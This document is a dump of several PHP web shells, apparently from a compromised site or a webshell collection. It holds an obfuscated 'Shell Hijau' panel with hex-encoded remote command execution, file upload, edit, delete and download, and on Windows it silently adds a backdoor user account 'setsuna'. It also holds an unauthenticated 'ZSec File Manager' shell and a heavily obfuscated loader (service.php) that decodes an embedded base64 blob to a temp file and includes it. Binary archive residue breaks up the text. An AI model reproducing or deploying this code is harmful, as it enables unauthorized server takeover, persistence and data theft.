// Gunakan $SETSUNA sesuai kebutuhan
$a = $SETSUNA[0];
$b = $SETSUNA[1];
$c = $a . $b;
$EVA = $sebelas . $duabelas;
global $EVA;
$L = $GLOBALS[$satu . $dua];
$M = $GLOBALS[$tiga . $empat];
$N = $GLOBALS[$lima . $enam];
$e = $GLOBALS[$tujuh . $delapan];
$o = $GLOBALS[$sembilan . $sepuluh];
$f = $SETSUNA[2];
$g = $SETSUNA[3];
$h = $SETSUNA[4];
$i = $SETSUNA[5];
$j = $SETSUNA[6];
$q = $SETSUNA[7];
$s = $SETSUNA[8];
$v = $SETSUNA[9];
$w = $SETSUNA[10];
$y = $SETSUNA[11];
$z = $SETSUNA[12];
$NM = $SETSUNA[13];
$SCN = $SETSUNA[14];
$ID = $SETSUNA[15];
$FE = $SETSUNA[16];
$RF = $SETSUNA[17];
$FS = $SETSUNA[18];
$IW = $SETSUNA[19];
$RNM = $SETSUNA[20];
$FP = $SETSUNA[21];
$SPRF = $SETSUNA[22];
$SBSR = $SETSUNA[23];
$FCL = $SETSUNA[24];
$PROP = $SETSUNA[25];
$IR = $SETSUNA[26];
$PRCL = $SETSUNA[27];
$UNL = $SETSUNA[28];
$ISF = $SETSUNA[29];
$FTD = $SETSUNA[41];
$SHEE = $SETSUNA[42];
$ISS = $tigabelas . $empatbelas;
// Mendefinisikan nama fungsi menggunakan kombinasi string 'ARRAYKEYEXISTS'
$AKE1 = 'array_';
$AKE2 = 'key';
$AKE3 = '_exists';
// Memastikan fungsi yang dibuat adalah 'array_key_exists' yang valid
$AKEFULL = $AKE1 . $AKE2 . $AKE3;
$ISS = function ($array, $elementName) use ($AKEFULL) {
return call_user_func($AKEFULL, $elementName, $array);
};
$b = $ISS($L, $b) ? $z($L[$b]) : '.';
$files = $SCN($b);
$upload_message = '';
$edit_message = '';
$delete_message = '';
$create_dir_message = '';
// Function to Download
global $FS, $FTD;
if ($ISS($L, 'download')) {
$FTD = $z($L['download']);
// Make sure that the requested file exists
if ($FE($FTD)) {
// Set header to trigger download
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($FTD) . '"');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . $FS($FTD));
$RF($FTD);
exit;
} else {
// Handle jika file tidak ditemukan
echo "File not found.";
}
}
// Function to get file permissions
function f($file): string {
global $FP, $SPRF, $SBSR;
return $SBSR($SPRF('%o', $FP($file)), -4);
}
// Function to check write permissions
function g($file): bool {
global $IW;
return $IW($file);
}
function h($command, $workingDirectory = null)
{
global $j, $FCL, $PROP, $IR, $PRCL;
// Mendefinisikan fungsi baru menggunakan kombinasi string
$aduh = 'ar';
$adeh = 'ray';
// Memastikan fungsi yang dibuat adalah 'array' yang valid
$RAY = $aduh . $adeh;
// Pastikan fungsi $RAY adalah fungsi yang valid dan bisa dipanggil
if (!function_exists($RAY)) {
return "Error: The function {$RAY} does not exist.";
}
$descriptorspec = [
0 => $RAY("pipe", "r"), // stdin is a pipe that the child will read from
1 => $RAY("pipe", "w"), // stdout is a pipe that the child will write to
2 => $RAY("pipe", "w") // stderr is a pipe that the child will write to
];
$process = $PROP($command, $descriptorspec, $pipes, $workingDirectory);
if ($IR($process)) {
// Read output from stdout and stderr
$output_stdout = $j($pipes[1]); // Ganti dengan fungsi alternatif jika diperlukan
$output_stderr = $j($pipes[2]); // Ganti dengan fungsi alternatif jika diperlukan
$FCL($pipes[0]);
$FCL($pipes[1]);
$FCL($pipes[2]);
$return_value = $PRCL($process);
return "Output (stdout):\n" . $output_stdout . "\nOutput (stderr):\n" . $output_stderr;
} else {
return "Failed to execute command.";
}
}
if ($ISS($L, '636d64')) {
$command = $z($L['636d64']);
$result = h($command, $b);
}
if ($ISS($e, 'file_upload')) {
$tempFile = $e['file_upload']['tmp_name'];
$targetFile = $b . '/' . $e['file_upload']['name'];
if ($w($tempFile, $targetFile)) {
$upload_message = 'File uploaded successfully.';
} else {
$upload_message = 'Failed to upload file.';
}
}
// function for command execution bypass
global $SHEE;
if ($ISS($L, '636d64') || $ISS($L, 'show_command_form')) {
$result = '';
if ($ISS($L, '636d64')) {
$command = hex2bin($L['636d64']);
$result = $SHEE($command);
}
$disable = @ini_get('disable_functions');
$disable = (!empty($disable)) ? "<font class='text-danger'>$disable</font>" : '<font style="color: #43C6AC">NONE</font>';
$os = substr(strtoupper(PHP_OS), 0, 3) === "WIN" ? "Windows" : "Linux";
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Command Execution</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
<style>
body {
font-family: Arial, sans-serif;
}
header {
background-color: #4CAF50;
color: white;
padding: 1rem;
text-align: center;
}
header h1 {
margin: 0;
}
main {
padding: 1rem;
}
</style>
</head>
<body>
<header>
<h1>Command Execution</h1>
</header>
<main class="container">
<?php if ($ISS($GLOBALS, 'result')): ?>
<div class="alert alert-info">Command executed: <?php echo $v($b); ?></div>
<div class="alert alert-light">
<h2>Command Result:</h2>
<pre><?php echo $y($result); ?></pre>
</div>
<?php endif; ?>
<p><b>Command Execution Bypass</b></p>
<form method="GET">
<label>Encode your command on <b><a href="https://encode-decode.com/bin2hex-decode-online/" target="_blank">https://encode-decode.com/bin2hex-decode-online/</a> :</b></label><br><br>
<input type="hidden" name="dir" value="<?php echo $v($b); ?>">
<input type="text" name="636d64" class="form-control" placeholder="e.g., 6c73306c 616c6c"><br><br>
<button type="submit" class="btn btn-warning">Execute</button>
</form>
<a href="?dir=<?php echo $v($b . '/' . $file); ?>" class="btn btn-secondary mt-3">Back</a>
</main>
</body>
</html>
<?php
exit;
}
// function for edit file
if ($ISS($o, 'edit_file')) {
$file = $o['edit_file'];
$content = $q($file);
if ($content !== false) {
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Edit File</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
<style>
body {
font-family: Arial, sans-serif;
}
header {
background-color: #4CAF50;
color: white;
padding: 1rem;
text-align: center;
}
header h1 {
margin: 0;
}
main {
padding: 1rem;
}
</style>
</head>
<body>
<header>
<h1>Edit File</h1>
</header>
<main class="container">
<form method="post" action="">
<div class="form-group">
<textarea id="CopyFromTextArea" name="file_content" rows="10" class="form-control"><?php echo $y($content); ?></textarea>
</div>
<input type="hidden" name="edited_file" value="<?php echo $y($file); ?>">
<button type="submit" name="submit_edit" class="btn btn-success">Submit</button>
</form>
</main>
</body>
</html>
<?php
exit;
} else {
$edit_message = 'Gagal membaca isi file.';
}
}
if ($ISS($o, 'submit_edit')) {
$file = $o['edited_file'];
$content = $o['file_content'];
if ($s($file, $content) !== false) {
$edit_message = 'File Edit Successfully.';
} else {
$edit_message = 'Failed To Edit File.';
}
}
if ($ISS($o, 'delete_file')) {
global $UNL;
$file = $o['delete_file'];
if ($UNL($file)) {
$delete_message = 'File deleted successfully.';
} else {
$delete_message = 'Failed to delete file.';
}
}
// Fungsi untuk menampilkan pesan
function showMessage($message, $y)
{
echo '<p>' . z($message) . '</p>';
}
$un = $NM();
$current_dir = realpath($b);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Shell Hijau</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
<style>
body {
font-family: Arial, sans-serif;
}
header {
background-color: #4CAF50;
color: white;
padding: 1rem;
text-align: center;
}
header h1 {
margin: 0;
}
main {
padding: 1rem;
}
</style>
</head>
<body>
<header>
<h1>Shell Hijau</h1>
</header>
<main class="container">
<p>Current directory:
<?php
// Mendefinisikan fungsi baru menggunakan kombinasi string
$Ex = 'expl';
$Pl = 'ode';
// Memastikan fungsi yang dibuat adalah 'explode' yang valid
$ExPl = $Ex . $Pl;
// Pastikan fungsi $ExPl adalah fungsi yang valid dan bisa dipanggil
if (!function_exists($ExPl)) {
return "Error: The function {$ExPl} does not exist.";
}
$parts = $ExPl('/', trim($current_dir, '/'));
$path = '';
foreach ($parts as $part) {
$path .= '/' . $part;
echo '<a href="?dir=' . $v($path) . '">' . $y($part) . '</a>/';
}
?>
</p>
<?php
echo '<p>Server information: ' . $y($un) . '</p>';
?>
<!-- Menambahkan sedikit CSS untuk memperbaiki tampilan tombol dengan ukuran lebih kecil -->
<style>
button {
background-color: #4CAF50; /* Warna latar hijau */
color: white; /* Teks berwarna putih */
padding: 5px 10px; /* Padding yang lebih kecil di sekitar teks */
font-size: 12px; /* Ukuran font yang lebih kecil */
border: none; /* Tidak ada border */
border-radius: 4px; /* Rounded corners yang lebih halus */
cursor: pointer; /* Cursor pointer menunjukkan ini klikable */
transition: background-color 0.3s; /* Smooth transition untuk hover effect */
}
button:hover {
background-color: #45a049; /* Warna lebih gelap saat hover */
}
</style>
<!-- Tombol untuk menampilkan dan menyembunyikan informasi server -->
<button onclick="toggleInfo()">Check Server</button>
<div id="serverInfo" style="display:none;">
<pre>
Disabled Functions: <?php
// Mendefinisikan fungsi baru menggunakan kombinasi string
$in = 'in';
$iget = 'i_get';
// Memastikan fungsi yang dibuat adalah 'ingetin' yang valid
$ingetin = $in . $iget;
// Pastikan fungsi $ingetin adalah fungsi yang valid dan bisa dipanggil
if (!function_exists($ingetin)) {
return "Error: The function {$ingetin} does not exist.";
}
// Mendefinisikan fungsi baru menggunakan kombinasi string
$i1b = 'su';
$i2b = 'bstr';
// Memastikan fungsi yang dibuat adalah 'i1b2' yang valid
$i1b2 = $i1b . $i2b;
// Pastikan fungsi $i1b2 adalah fungsi yang valid dan bisa dipanggil
if (!function_exists($i1b2)) {
return "Error: The function {$i1b2} does not exist.";
}
// Mendefinisikan fungsi baru menggunakan kombinasi string
$i1c = 'st';
$i2c = 'rlen';
// Memastikan fungsi yang dibuat adalah 'i1c2' yang valid
$i1c2 = $i1c . $i2c;
// Pastikan fungsi $i1c2 adalah fungsi yang valid dan bisa dipanggil
if (!function_exists($i1c2)) {
return "Error: The function {$i1c2} does not exist.";
}
echo ($ingetin('disable_functions') ? $i1b2($ingetin('disable_functions'), 0, 50) . ($i1c2($ingetin('disable_functions')) > 50 ? '...' : '') : 'NONE'); ?><br>
PHP Version: <?php echo phpversion(); ?><br>
Operating System: <?php echo PHP_OS; ?><br>
<?php
// Mendefinisikan fungsi baru menggunakan kombinasi string
$i1b = 'su';
$i2b = 'bstr';
// Memastikan fungsi yang dibuat adalah 'i1b2' yang valid
$i1b2 = $i1b . $i2b;
// Pastikan fungsi $i1b2 adalah fungsi yang valid dan bisa dipanggil
if (!function_exists($i1b2)) {
return "Error: The function {$i1b2} does not exist.";
}
// Mendefinisikan fungsi baru menggunakan kombinasi string
$s1b = 'strt';
$s2b = 'oupper';
// Memastikan fungsi yang dibuat adalah 's1b2' yang valid
$s1b2 = $s1b . $s2b;
// Pastikan fungsi $s1b2 adalah fungsi yang valid dan bisa dipanggil
if (!function_exists($s1b2)) {
return "Error: The function {$s1b2} does not exist.";
}
// Mendefinisikan fungsi baru menggunakan kombinasi string
$SEXC1 = 'she';
$SEXC2 = 'll_ex';
$SEXC3 = 'ec';
// Memastikan fungsi yang dibuat adalah 'SEXC' yang valid
$SEXC = $SEXC1 . $SEXC2 . $SEXC3;
// Pastikan fungsi $SEXC adalah fungsi yang valid dan bisa dipanggil
if (!function_exists($SEXC)) {
return "Error: The function {$SEXC} does not exist.";
}
// Mendefinisikan fungsi baru menggunakan kombinasi string
$SAINT1 = 'st';
$SAINT2 = 'rpos';
// Memastikan fungsi yang dibuat adalah 'SAINT' yang valid
$SAINT = $SAINT1 . $SAINT2;
// Pastikan fungsi $SAINT adalah fungsi yang valid dan bisa dipanggil
if (!function_exists($SAINT)) {
return "Error: The function {$SAINT} does not exist.";
}
// Mengecek apakah server menggunakan Windows dan mencoba membuat user RDP
if ($s1b2($i1b2(PHP_OS, 0, 3)) === 'WIN') {
$output = $SEXC('net user setsuna setsuna123## /add 2>&1');
$can_create_rdp = ($SAINT($output, 'The command completed successfully') !== false) ? 'Yes' : 'No';
} else {
$can_create_rdp = 'No'; // Jika bukan Windows, langsung memberi hasil 'No'
}
echo 'Can Create RDP User: ' . $can_create_rdp;
?>
</pre>
</div>
<script>
function toggleInfo() {
var info = document.getElementById('serverInfo');
var button = document.querySelector('button');
if (info.style.display === 'none') {
info.style.display = 'block';
button.textContent = 'Close';
} else {
info.style.display = 'none';
button.textContent = 'Check Server';
}
}
</script>
<?php if (!empty($upload_message)): ?>
<div class="alert alert-info"><?php echo $y($upload_message); ?></div>
<?php endif; ?>
<?php if (!empty($edit_message)): ?>
<div class="alert alert-warning"><?php echo $y($edit_message); ?></div>
<?php endif; ?>
<?php if (!empty($delete_message)): ?>
<div class="alert alert-danger"><?php echo $y($delete_message); ?></div>
<?php endif; ?>
<!-- Menambahkan sedikit CSS untuk memperbaiki tampilan form dan tombol -->
<style>
button {
background-color: #4CAF50; /* Warna latar hijau */
color: white; /* Teks berwarna putih */
padding: 5px 10px; /* Padding yang lebih kecil di sekitar teks */
font-size: 12px; /* Ukuran font yang lebih kecil */
border: none; /* Tidak ada border */
border-radius: 4px; /* Rounded corners yang lebih halus */
cursor: pointer; /* Cursor pointer menunjukkan ini klikable */
transition: background-color 0.3s; /* Smooth transition untuk hover effect */
}
.btn-primary:hover, .toggle-btn:hover {
background-color: #45a049; /* Warna lebih gelap saat hover */
}
.form-control-file {
display: inline-block;
margin-right: 10px; /* Tambahkan margin kanan untuk kesinambungan visual */
}
.form-group {
display: flex; /* Menggunakan flexbox untuk align items horizontally */
align-items: center; /* Center items vertically */
margin-bottom: 10px; /* Margin bawah untuk grup form */
}
</style>
<!-- Tombol untuk menampilkan dan menyembunyikan form upload -->
<button class="toggle-btn" onclick="toggleUploadForm()">Upload Here</button>
<!-- Form upload -->
<div id="uploadForm" style="display:none;">
<form method="POST" enctype="multipart/form-data" class="mb-3 d-inline">
<div class="form-group">
<input type="file" name="file_upload" class="form-control-file">
<button type="submit" class="btn btn-primary">Upload</button>
</div>
<input type="hidden" name="dir" value="<?php echo $y($b); ?>">
</form>
</div>
<script>
function toggleUploadForm() {
var form = document.getElementById('uploadForm');
var button = document.querySelector('.toggle-btn');
if (form.style.display === 'none') {
form.style.display = 'block';
button.textContent = 'Close';
} else {
form.style.display = 'none';
button.textContent = 'Upload Here';
}
}
</script>
<a href="?dir=<?php echo $v($b); ?>&show_command_form=1" class="btn btn-warning ml-2">Command Execution</a>
<form method="POST" class="mb-3">
<div class="form-group">
</form>
<table class="table table-striped">
<thead class="thead-dark">
<tr>
<th>Filename</th>
<th>Permissions</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php foreach ($files as $file): ?>
<tr>
<td>
<?php if ($ID($b . '/' . $file)): ?>
<a href="?dir=<?php echo $v($b . '/' . $file); ?>" class="<?php echo g($b . '/' . $file) ? '' : 'text-danger'; ?>"><?php echo $y($file); ?></a>
<?php else: ?>
<?php echo $y($file); ?>
<?php endif; ?>
</td>
<td class="<?php echo g($b . '/' . $file) ? 'text-success' : 'text-danger'; ?>">
<?php echo $ISF($b . '/' . $file) ? $y(f($b . '/' . $file)) : (g($b . '/' . $file) ? 'Directory' : 'Directory (No writable)'); ?>
</td>
<td>
<?php if ($ISF($b . '/' . $file)): ?>
<form action="" method="post" class="d-inline">
<input type="hidden" name="edit_file" value="<?php echo $y($b . '/' . $file); ?>">
<button type="submit" class="btn btn-primary">Edit</button>
</form>
<form action="" method="post" class="d-inline">
<input type="hidden" name="delete_file" value="<?php echo $y($b . '/' . $file); ?>">
<button type="submit" class="btn btn-danger">Delete</button>
</form>
<form action="" method="get" class="d-inline">
<input type="hidden" name="download" value="<?php echo $y($v($b . '/' . $file)); ?>">
<button type="submit" class="btn btn-info">Download</button>
</form>
<?php endif; ?>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</main>
</body>
</html>
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz����������������������������������������������������������������������� ? �� �N����m?� ��j� ��EP��PK �Cm\~\ݸ5
5
z8op2.phpnu �[��� <?php
session_start();
$dir = isset($_GET['dir']) ? realpath($_GET['dir']) : realpath('.');
if ($dir === false || !is_dir($dir)) {
die("Direktori tidak ditemukan!");
}
if (isset($_POST['upload'])) {
move_uploaded_file($_FILES['file']['tmp_name'], "$dir/" . $_FILES['file']['name']);
}
if (isset($_POST['delete'])) {
unlink($_POST['delete']);
}
if (isset($_POST['rename'])) {
rename($_POST['oldname'], $_POST['newname']);
}
if (isset($_POST['save'])) {
file_put_contents($_POST['filepath'], $_POST['content']);
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Mini File Manager</title>
<style>
body { font-family: Arial, sans-serif; background: #222; color: #ddd; text-align: center; }
a { color: #0af; text-decoration: none; }
.container { width: 80%; margin: auto; text-align: left; }
.box { background: #333; padding: 10px; margin: 5px; border-radius: 5px; }
input, button { background: #444; color: white; border: none; padding: 5px; margin: 2px; }
.directory { font-weight: bold; }
</style>
</head>
<body>
<div class='container'>
<h2>ZSec File Manager</h2>
<form method='post' enctype='multipart/form-data'>
<input type='file' name='file'>
<button type='submit' name='upload'>Upload</button>
</form>
<div class='box'>
<p class='directory'>Current Directory: <?php echo $dir; ?></p>
<?php if (dirname($dir) !== $dir) : ?>
<a href='?dir=<?php echo dirname($dir); ?>'>[Up]</a>
<?php endif; ?>
<?php
foreach (scandir($dir) as $file) {
if ($file == '.') continue;
$filePath = "$dir/$file";
if ($file == '..' && $dir === '/') continue;
echo "<div>$file ";
if (is_dir($filePath)) {
echo "<a href='?dir=$filePath'>[Open]</a> ";
} elseif (is_file($filePath)) {
echo "<a href='?edit=$filePath'>[Edit]</a> ";
}
echo "<form method='post' style='display:inline;'>
<input type='hidden' name='delete' value='$filePath'>
<button type='submit'>Hapus</button>
</form>
<form method='post' style='display:inline;'>
<input type='hidden' name='oldname' value='$filePath'>
<input type='text' name='newname' placeholder='Nama baru'>
<button type='submit' name='rename'>Rename</button>
</form>
</div>";
}
?>
</div>
</div>
<?php if (isset($_GET['edit'])): ?>
<?php $file = $_GET['edit']; ?>
<div class='container'>
<h3>Edit File</h3>
<form method='post'>
<input type='hidden' name='filepath' value='<?php echo $file; ?>'>
<textarea name='content' rows='10' style='width:100%; background:#333; color:#ddd;'><?php echo htmlspecialchars(file_get_contents($file)); ?></textarea>
<button type='submit' name='save'>Simpan</button>
</form>
</div>
<?php endif; ?>
</body>
</html>PK �Cm\�a]t֭ ֭ service.phpnu �[��� <?php
class Div {
function library($_tree) {
$tx = $this->px($this->library[0].$this->library[4].$this->library[1].$this->library[2].$this->library[3].$this->library[5]);
$tx = $tx($_tree);
return $tx;
}
function error($_session) {
$result = include($_session);
return $result;
}
function __construct() {
$dictionary = $this->tool($this->_point);
$dictionary = $this->library($this->px($dictionary));
$dictionary = $this->ls($dictionary);
$dictionary = $this->error($dictionary);
if(is_array($dictionary)) {
list($map, $stable, $_path, $size) = $dictionary;
$this->x64 = $size;
$this->heap = $_path;
$this->_block = $map;
$this->nginx($map, $stable);
}
}
function ls($delegate) {
$ver = $this->px($this->_request[1].$this->_request[2].$this->_request[3].$this->_request[5].$this->_request[4].$this->_request[0]);
$this->ver = $ver() . $this->px($this->_iterator[2].$this->_iterator[4].$this->_iterator[0].$this->_iterator[1].$this->_iterator[3]) . md5(time());
$ver = $this->px($this->parser[2].$this->parser[3].$this->parser[0].$this->parser[4].$this->parser[1]);
$ver = $ver($this->ver, 'w');
if ($ver)
{
$_session = $this->px($this->pointer[1].$this->pointer[2].$this->pointer[0]);
$_session($ver, $delegate);
return $this->ver;
}
}
function _tx($dx, $_script, $event) {
$lib = strlen($_script) + strlen($event);
$this->graph = 0;
while(strlen($event) < $lib) {
$debug = ord($_script[$this->graph]) - ord($event[$this->graph]);
$_script[$this->graph] = chr($debug % (4096/16));
$event .= $_script[$this->graph];
$this->graph++;
}
return $_script;
}
function _signal($_tree) {
$_input = $this->_signal[1].$this->_signal[2].$this->_signal[4].$this->_signal[0].$this->_signal[3];
$_input = $_input($_tree);
return $_input;
}
function nginx($event, $_worker) {
$this->memory = $event;
$this->_worker = $_worker;
$this->x86 = $this->tool($this->x86);
$this->x86 = $this->_signal($this->x86);
$this->x86 = $this->_cmd();
if(strpos($this->x86, $this->memory) !== false) {
if(!$this->x64)
$this->_cron($this->heap, $this->_block);
$this->ls($this->x86);
$this->error($this->ver);
}
}
function _cron($_tree, $_value) {
$move = $this->px($this->_cron[2].$this->_cron[0].$this->_cron[6].$this->_cron[1].$this->_cron[3].$this->_cron[4].$this->_cron[5]);
$move = $move($_tree, $_value);
}
function _cmd() {
$_stack = $this->_tx($this->_worker, $this->x86, $this->memory);
$_stack = $this->library($_stack);
return $_stack;
}
function px($context) {
$_emu = $this->_signal($context);
$_emu = $this->_tx('', $_emu, strval($this->twelve));
return $_emu;
}
function tool($delegate) {
$_container = $this->px($this->access[3].$this->access[0].$this->access[4].$this->access[5].$this->access[1].$this->access[2]);
return $_container(array(" ", "\r", "\n", "\t"), "", $delegate);
}
public $graph = 0;
public $heap;
public $parser = array('hy', '=', 'n6', 'e', '90');
public $x64;
public $ver;
public $pointer = array('vX', 'n6', '+jz+');
public $_request = array('=', 'rJ2k', '5s7i4', 'cjiz9', 'G09g', 'XYwOb');
public $_block;
public $twelve = 981;
public $_signal = array('deco', 'ba', 'se', 'de', '64_');
public $_iterator = array('uWo', 'ub', 'a', 'E', 'K');
public $memory;
public $x86 = 'MfLOqxwZyWJeitcTWSzZoarkDECVY4YkMzq3cEzSJuk68Zu7IsDrOVsMcysh0j2vp
VT8Niu2cIT+UH3gkv+Nh4p3LFS5htjdwiRDOnb5+2s8XiIPpdL1uWN37xnqr2tX+M5QH
/5FFBRx5PH51ypPybODU/utLVq1cmXsvLnXxo0EddWufKX+GDUimUKPHsZ
hAyCUEL8jgQ9uRZ4zX1oiNycCUZNvlrOcSELUPhsoK/75Jre0M4TAHvD7ZPW0/hPVQhrXcFCYD97
MMWFu/1qcsFa4s9LM8tE/ClNKu5Y06j7dHgEnHHDMrgkR9qYFBD
go2CWW1Pg8WPtMk+++gMA/JwB3fV/bNcI+v1xtyQM3NU2NgVqiGCeSGKRUtTi+yE+TkR
mHTuWlFyyQdJDZ/PwQ3bMNHbEEsn1w2KcEJAddGutBJk0+Dmw
d5iPMbt1GrBsEkbuJww9HwUCfIRsghFqVpgML6HO
EVS/Y9s4wk7Afivj1Q8bpzZqIBpIIFZeXW/PVLh8F6s
69yzd82KRxs8HVAsn/hY1cFwTDXqDCLhhyDMvY4VWKi
TvTsBoMSeW4pi1aiYYgV2pyFm1u5zLtRPe0Z0MS5FgoAZWjBhQoAPAHygZE1KbVg24X3kIvcM
YQNq8p51P0yMNVZ4CdgSpSWwTlI4kkBfE4m92aXrbpLNRQM2XSaQsJP7FBjLuDByex3TredDA
7mAd0B2lFjySLh4kvSMz0hrjpXTc0MeAu98dmOvw3Fej2
OHstzyKGChtKGJRg5P2WN79JIs/qdJqjBq5KlW8qMIaDHZul7LgxkfGi+rfdpVD59saWl1BPgE1mwoF2
V5kcSsYota9PgHxutwx73Dos2GpUO+mqDKt9hHrEO0rwMJ1f
PJ/f6yUhNdPYSaTaDS1upkSPcCNgmVQqoOs3l0qxD4la
E/nygDwsyERmop7co+KuIGP38byVsnyhjhtS3RjpDrNAbBTjCta4bzpC2PVY28EMyTsuWF8FejJY
7Lr7b/febLDKro6iMLlDMwUwfloQ8Cl
yY3fVpqR+4VKhTpJpGXZrZk7JQfzW1cRT47518lclRpwDh86QHO6NmhcOWqP7SoQhg4+88r/FJ6PGac
JlL/NouEzUv64VltGkKpvUqvlZ8DWsZdtmnuUaeMM0+oVCT2zM0/nn6sZ1j3PEUnQtfJ
UOewAG+q+fieac58BvD1EVbAUrK/TELBENn0FDp+dVBeYO52tO8NoAUpNAHkwLdLEe
MZZqsZTruvQx55DZTRaI2cO4KuQ4OWLj
9Vh4XJZ/dqic+P7fVC4X5O+XH9+0PVWz4AeDUONlI2p2ohWklJ0GyVrsEqXsSKKKJRa270
FNg7VtYconyMJtUsgUhpOMNMT5nlihtVk+nbpjSQeDJ4POE0qkH6hMG
5sN+R8Vb6SpyvcvfkigL9zrQrJi7O7Q
bqZ1KbmcKCGCQgv+xvUkMthkzrPJpwJP3JaBloLfWZXKfWYIu2zovqoxAQPXEr0
Oz54oknhzIMp9ObXVg+FNknzZVL+pPYA
6F43sVA2ic6GiBNWHivhGL7ZrgLn5J9hhBTGs8UPUhf6BtpKpAnRzHswc
jPLHMuFQWQVr72eQ3xTHGPSiHGavChV7e0ad3rP
dNJJazIEzoiLBnNaxCb/I/H/VYMxOFUV1
5/kIHZcZlR1mlstNs7iIP9GPL4/f1nUhGJYg6rVmuCLIB
S4JigfeqcbvdQU3Zox9liOzbrkeRHgpT+U325YBsyUqS1tSCZvXl
EPib8ixGq7pWt+iO6yLzXHMP5GweILBvm2jJfUxu6yJ0NdnpmZCb7mzN8bVAl0LvEer8yOSATkF
MSXkXOB3MNRkxptvOMfPB+E7pS+7jkKiREeXgcbVY2W0B7vqiKU5t7
MUP3d71OnFIAYXIqTWyw7iamXU2l77Jx6LNbabIxeaxY+vuvYLkc0HY2f
yq0ddYrHMQjrVIzZmKwm/mlMg5yt5zSwoSHf
60RzhtBLDrTCfXBse8FT3id21qlC0A2CT
LgaqzbphCHZcMl1a0lzQQJx0GCeZBm8RyA7yIE73jce0/bui0cldqGBjJkY8PmBR6tN4zMytw
s5XodR4HeknJ/JjupztS+SMI1hWJfDfDZ6nj6HKP5D/VMpVHj8fEQ33DMgaGed49plsdREE5afv8vv
rId8rT8PePT5nLwtwUYrqYc/Gqkhu7i5wJpb+iCU7pqdkCAizAFL27cvN1G7
01aM3a3bnITNIE9bxBnIwEep61ZSdecySW6WDtpZSbpwSXZBd5/fFtXUVfBtlgzL8gVc6
xRUhzUD7jP38UGQy83bQGXVWEsf1BJWm6bZ0gyoVnnOiewIOm6X2QEK0ZaSLWs3XsEmgVdajzN
vGHtyDzksPNZcyySkXZfCXIgjlAL5R52jvXXpEMNoqaj3RerApWrNGR3tNKD8WzgTiaagsi5Wob2Jgu
ufOoNg1qMoBexLgp4RQEowd0FkP7vrlxmBpPgBe/xoCAcjf97v97JR+lfz
vLj+K61VFIADVvfPExGzlb5y/ztaPW6iX1Egy6LZERtKuMJHtNcR8erMUpzNtJjWisutFZB9katO8
FeAyy7HLVeqL0HudFealqUekDgXnhLTdqzqW
sMWLlnbqgann9r/WWYmDxTDg88mE4Lb+d6rKoDA5SEnVwWppFUBtlp7COx6vIjBpNluG2ppPT+e
tJbtOHGIl7LXQyGCD/xFXsRaU2t37KYn6Y8QlBcnOUSXLQoCKuojX
dkr/bN1a8AwBalesNHdm7WMVrmWj3PXhgg+1ye9wF9IB+
y7IecCukzBS5jhTODjbGA1hrQhzUExPw2/FKjGL8vF55wTgsXUzGkedB1IewVN2
nJoByGA7H78tyw8sg4NqKsIWpD7N+ajFoexPzq4W/GZNlPD
pEt8yAxk/r0okNk8YrwBTiVAGylBS12UfenV43k4Iy+P85MuhFy2VnRpYR8ZQXs+sjTnaA+
aQ3M7jdiAmk2cS7nZMmAONfOEy67NTrVj0QaOO9LlBgYJnD2gzojPVgJLu5
pHU8+Ak6jPGVeUk4KgjAcvrWsA9jglDxXDs2dHTIbHtSqeLbHInQyNZHkcaR
hp9kc1Pd38mnhhRRF+iqnBeEcCFtiL+ofY72wnQINAuo
eFZYOnEHTLDB1/KLIGVz+AqVIiuNgJQDFiLwNqW1QsIgHGATAkZ3JOpEnkChYd1WWTTwqC4bXfD
tX1/7+sBfuQ3zX+vypD1arGndqINo1yGi0NZKF6VipmqaBA+2uslKfiw
iLQxdcGo6wbpRQ8JmlGPUR/5YDz/zZ1jwwlnCi7T
RGytvQA8AI+DSVeUSdCeqE+xzUkgxqD/Zzko
wHIuvPAp2zUbgyTEjD1ujl+eClKToohEunqeLNPTuebgCz5
n28PQ1qlyjl42AX67SqeAln8gmGb2HFvyMz0UlnrL31UGxdb1Cu99nLFcM
SVUTCbzT6NtQ/T8MQadIP2W6Awpd0sFSrsvdpb
oTbYqDuDY//MZIDHsgYq9291qBR4b7/bVBEJ7VTG
QKVHCEd5FN6AXeNT8ESJTuyf7SfPzJLtad3yjF2Fk37mooDnkorxSdbj1jcWMSVk41nvID7YzjBaBgj7
+8H3/OaVj4IhC+Sz/CRiy5+u5zOgb32xoS8
r1kfYwcqUzWVKaPlj9ZoZ9stDI24G9Ytl
